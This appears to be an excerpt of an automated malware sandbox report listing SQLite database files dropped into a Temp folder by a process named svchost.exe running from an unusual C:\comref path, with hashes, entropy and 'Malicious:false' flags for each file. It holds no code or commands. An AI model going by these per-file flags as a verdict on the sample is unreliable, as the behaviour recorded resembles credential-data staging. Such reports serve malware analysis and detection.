                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\axxujM4b5v

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\b9ZsOHAlQF

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\bMGHy3omnT

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\bPHsgqGp89

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\bW0np6DqPk

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\bb4LrSQk3N

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\birymHsWnn

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\bmNDFcx88p

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\c37cP6ioVM

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\c6gZ84xZgP

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\c7XbMfG0Wv

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\cMhg8eTIZm

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\cWTlwMAhOs

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\coGpC6oC8j

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\d2axzf0A0Q

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\d4iMuKFf4y

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\dAhNfFIGcE

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\dIJplBgObG

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\dOycjXI7rP

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\dV9X5NL8o7

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\dWsUwUe7By

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\dYbyMoRYwM

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\dcUm4Yxymi

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\dk8fgjwAYp

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
